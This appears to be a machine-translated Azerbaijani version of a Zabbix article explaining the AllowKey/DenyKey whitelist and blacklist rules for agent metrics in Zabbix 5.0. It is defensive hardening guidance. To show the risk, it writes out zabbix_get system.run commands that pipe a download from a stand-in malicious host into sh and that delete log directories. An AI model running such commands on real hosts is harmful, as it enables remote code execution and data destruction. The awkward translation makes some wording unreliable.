Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Agent tərəfi ölçülər üçün qara siyahı və ağ siyahı dəstəyi

Tixon Uskov, İnteqrasiya Mühəndisi, Zabbix

Məlumat təhlükəsizliyi problemləri

Zabbix 5.0, Zabbix Agent istifadə edərək sistemlərdə təhlükəsizliyi yaxşılaşdırmağa imkan verən və köhnə parametri əvəz edən yeni xüsusiyyətə malikdir. EnableRemoteCommands.

Agent əsaslı sistemlərin təhlükəsizliyinin təkmilləşdirilməsi agentin çoxlu sayda potensial təhlükəli hərəkətlər edə bilməsindən irəli gəlir.

  • Agent konfiqurasiya fayllarından, log fayllarından, parol fayllarından və ya hər hansı digər fayllardan məxfi və ya potensial təhlükəli məlumatlar daxil olmaqla, demək olar ki, istənilən məlumatı toplaya bilər.

Məsələn, zabbix_get yardım proqramından istifadə edərək istifadəçilərin siyahısına, onların ev kataloqlarına, parol fayllarına və s.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

zabbix_get yardım proqramından istifadə edərək verilənlərə daxil olmaq

Qeyd. Məlumat yalnız agentin müvafiq faylda oxumaq icazələrinə malik olduğu halda götürülə bilər. Lakin, məsələn, fayl /etc/passwd/ bütün istifadəçilər tərəfindən oxuna bilər.

  • Agent potensial təhlükəli əmrləri də yerinə yetirə bilər. Məsələn, açar *system.run[]** sizə şəbəkə qovşaqlarında istənilən uzaq əmrləri, o cümlədən agent tərəfində əmrləri yerinə yetirən Zabbix veb interfeysindən işləyən skriptləri yerinə yetirməyə imkan verir.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux-da agent standart olaraq kök imtiyazları olmadan işləyir, Windows-da isə Sistem kimi xidmət kimi işləyir və fayl sisteminə məhdudiyyətsiz girişi var. Müvafiq olaraq, əgər quraşdırmadan sonra Zabbix Agent parametrlərində heç bir dəyişiklik edilməzsə, agent reyestrə, fayl sisteminə daxil olur və WMI sorğularını yerinə yetirə bilər.

Əvvəlki versiyalarda parametr EnableRemoteCommands=0 yalnız açarla metrikləri söndürməyə icazə verilir *system.run[]** və veb interfeysindən işləyən skriptlər, lakin fərdi fayllara girişi məhdudlaşdırmaq, agentlə quraşdırılmış fərdi açarlara icazə vermək və ya söndürmək və ya fərdi parametrlərin istifadəsini məhdudlaşdırmaq üçün heç bir yol yox idi.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Zabbix-in əvvəlki versiyalarında EnableRemoteCommand parametrindən istifadə

AllowKey/DenyKey

Zabbix 5.0 agent tərəfində ölçülərə icazə vermək və rədd etmək üçün ağ siyahılar və qara siyahılar təqdim etməklə bu cür icazəsiz girişdən qorunmağa kömək edir.

Zabbix 5.0-də bütün açarlar, o cümlədən *system.run[]** aktivləşdirilib və iki yeni agent konfiqurasiya variantı əlavə edilib:

AllowKey= — icazə verilən çeklər;

DenyKey = — qadağan olunmuş çeklər;

burada meta simvollardan (*) istifadə edən parametrləri olan əsas ad nümunəsidir.

AllowKey və DenyKey düymələri sizə müəyyən nümunə əsasında fərdi ölçülərə icazə verməyə və ya rədd etməyə imkan verir. Digər konfiqurasiya parametrlərindən fərqli olaraq, AllowKey/DenyKey parametrlərinin sayı məhdud deyil. Bu, yazılma ardıcıllığının çox mühüm rol oynadığı çeklər ağacını - icra olunan açarları yaratmaqla agentin sistemdə dəqiq nə edə biləcəyini aydın şəkildə müəyyən etməyə imkan verir.

Qaydaların ardıcıllığı

Qaydalar konfiqurasiya faylına daxil edilmə ardıcıllığı ilə yoxlanılır. Açar ilk uyğunluqdan əvvəl qaydalara uyğun olaraq yoxlanılır və məlumat elementinin açarı nümunəyə uyğun gələn kimi ona icazə verilir və ya rədd edilir. Bundan sonra qayda yoxlanışı dayanır və qalan düymələr nəzərə alınmır.

Beləliklə, əgər element həm icazə, həm də rədd etmə qaydasına uyğun gəlirsə, nəticə konfiqurasiya faylında hansı qaydanın birinci olmasından asılı olacaq.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Eyni naxış və açarla 2 fərqli qayda vfs.file.size[/tmp/file]

AllowKey/DenyKey düymələrindən istifadə qaydası:

  1. dəqiq qaydalar,
  2. ümumi qaydalar,
  3. qadağanedici qayda.

Məsələn, müəyyən bir qovluqdakı fayllara daxil olmaq lazımdırsa, əvvəlcə onlara giriş icazəsi verməli, sonra isə müəyyən edilmiş icazələrə daxil olmayan hər şeyi rədd etməlisiniz. Əvvəlcə rədd etmə qaydası istifadə edilərsə, qovluğa giriş rədd ediləcək.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Düzgün ardıcıllıq

2 kommunalın * vasitəsilə işləməsinə icazə vermək lazımdırsasystem.run[]** və inkar qaydası ilk olaraq göstəriləcək, utilitlər işə salınmayacaq, çünki birinci model həmişə istənilən düyməyə uyğun olacaq və sonrakı qaydalara məhəl qoyulmayacaq.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Yanlış ardıcıllıq

Nümunələr

Əsas qaydalar

Pattern joker işarəli ifadədir. Metaxarakter (*) müəyyən mövqedə istənilən simvolun istənilən sayına uyğun gəlir. Meta simvollar həm açar adında, həm də parametrlərdə istifadə edilə bilər. Məsələn, ilk parametri mətnlə ciddi şəkildə təyin edə bilərsiniz, və sonrakını wildcard kimi təyin edin.

Parametrlər kvadrat mötərizədə [] alınmalıdır.

  • system.run[* - səhv
  • vfs.file*.txt] - səhv
  • vfs.file.*[*] - düz

Joker simvoldan istifadə nümunələri.

  1. Açar adında və parametrdə. Bu vəziyyətdə, açar parametri olmayan oxşar açara uyğun gəlmir, çünki nümunədə biz açar adının müəyyən bir sonunu və müəyyən bir parametr dəstini almaq istədiyimizi bildirdik.
  2. Nümunə kvadrat mötərizələrdən istifadə etmirsə, nümunə parametrləri olmayan bütün düymələrə icazə verir və göstərilən parametri ehtiva edən bütün düymələri rədd edir.
  3. Açar tam şəkildə yazılıbsa və parametrlər joker işarə kimi göstərilibsə, o, istənilən parametrləri olan hər hansı oxşar düyməyə uyğun olacaq və kvadrat mötərizəsiz açarla uyğun gəlməyəcək, yəni icazə veriləcək və ya rədd ediləcək.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Parametrlərin doldurulması qaydaları.

  • Parametrləri olan açardan istifadə etmək nəzərdə tutulursa, parametrlər konfiqurasiya faylında göstərilməlidir. Parametrlər metaxarakter kimi göstərilməlidir. Hər hansı bir fayla girişi diqqətlə rədd etmək və metrikanın müxtəlif yazımlar altında - parametrli və parametrsiz hansı məlumatları təmin edə biləcəyini nəzərə almaq lazımdır.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Parametrləri olan açarların yazılması xüsusiyyətləri

  • Açar parametrlərlə göstərilibsə, lakin parametrlər isteğe bağlıdırsa və metaxarakter kimi göstərilibsə, parametrləri olmayan açar həll olunacaq. Məsələn, CPU-nun yükü haqqında məlumatın qəbulunu dayandırmaq istəyirsinizsə və system.cpu.load[*] düyməsinin söndürülməsi lazım olduğunu qeyd etsəniz, parametrləri olmayan açarın orta yükləmə dəyərini qaytaracağını unutmayın.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Parametrlərin doldurulması qaydaları

Qeydlər

nizamlama

  • Bəzi qaydalar istifadəçi tərəfindən dəyişdirilə bilməz, məsələn, kəşf qaydaları və ya agentin avtomatik qeydiyyatı qaydaları. AllowKey/DenyKey qaydaları aşağıdakı parametrlərə təsir etmir:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

Qeyd. Əgər administrator açarı söndürürsə, sorğulandıqda Zabbix metrik və ya açarın niyə 'kateqoriyasına düşdüyü barədə məlumat vermir.DƏSTƏKLƏNMİR'. Uzaqdan əmrlərin icrasına qoyulan qadağalar haqqında məlumat agent jurnalında da göstərilmir. Bu təhlükəsizlik səbəbləri üçündür, lakin ölçülər nədənsə dəstəklənməyən kateqoriyaya düşərsə, sazlamanı çətinləşdirə bilər.

  • Xarici konfiqurasiya fayllarını (məsələn, əlifba sırası ilə) birləşdirmək üçün heç bir xüsusi sıraya etibar etməməlisiniz.

Komanda xətti Utilities

Qaydaları qurduqdan sonra hər şeyin düzgün konfiqurasiya olunduğundan əmin olmalısınız.

Üç seçimdən birini istifadə edə bilərsiniz:

  • Zabbix-ə bir metrik əlavə edin.
  • ilə test edin zabbix_agentd. Seçim ilə Zabbix agenti -çap (-p) konfiqurasiya tərəfindən icazə verilməyənlər istisna olmaqla, bütün açarları (standart olaraq icazə verilir) göstərir. Və seçim ilə -test (-t) qadağan edilmiş açar geri qayıdacaqDəstəklənməyən element açarı".
  • ilə test edin zabbix_get. Utility zabbix_get seçimi ilə -k geri dönəcək 'ZBX_NOTSUPPORTED: Naməlum metrik".

İcazə verin və ya rədd edin

Siz fayla girişi rədd edə və məsələn, yardım proqramından istifadə edərək yoxlaya bilərsiniz zabbix_getfayla giriş qadağandır.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

**

Qeyd. Parametrdəki sitatlar nəzərə alınmır.

Bu halda, belə bir fayla girişə başqa yoldan icazə verilə bilər. Məsələn, simvolik əlaqə ona gətirib çıxarırsa.

Zabbix 5.0-da agent tərəfi ölçüləri üçün qara siyahı və ağ siyahı dəstəyi

Göstərilən qaydaların tətbiqi üçün müxtəlif variantları yoxlamaq, həmçinin qadağalardan yayınma imkanlarını nəzərə almaq tövsiyə olunur.

Suallar və Cavablar

Sual. Niyə qaydaları, icazələri və qadağaları təsvir etmək üçün öz dilinə malik belə mürəkkəb nümunə seçildi? Məsələn, Zabbix-in istifadə etdiyi müntəzəm ifadələri niyə istifadə etmək mümkün olmadı?

Cavab. Bu regex performans problemidir, çünki adətən yalnız bir agent var və o, çoxlu sayda ölçüləri yoxlayır. Regex kifayət qədər ağır əməliyyatdır və biz minlərlə göstəricini bu yolla yoxlaya bilmirik. Joker simvollar - universal, geniş istifadə olunan və sadə həlldir.

Sual. Daxil et faylları əlifba sırasına daxil edilmirmi?

Cavab. Bildiyimə görə, qaydaları müxtəlif fayllar arasında yaysanız, qaydaların hansı ardıcıllıqla tətbiq olunacağını proqnozlaşdırmaq praktiki olaraq mümkün deyil. Mən bütün AllowKey/DenyKey qaydalarını bir Include faylında toplamağı tövsiyə edirəm, çünki onlar bir-biri ilə qarşılıqlı əlaqədə olur və bu faylı da əhatə edir..

Sual. Zabbix 5.0-də seçim 'EnableRemoteCommands=' konfiqurasiya faylında yoxdur və yalnız AllowKey/DenyKey mövcuddur?

Cavab verin. Bəli doğrudur.

Diqqətiniz üçün təşəkkür edirik!

Mənbə: www.habr.com

Добавить комментарий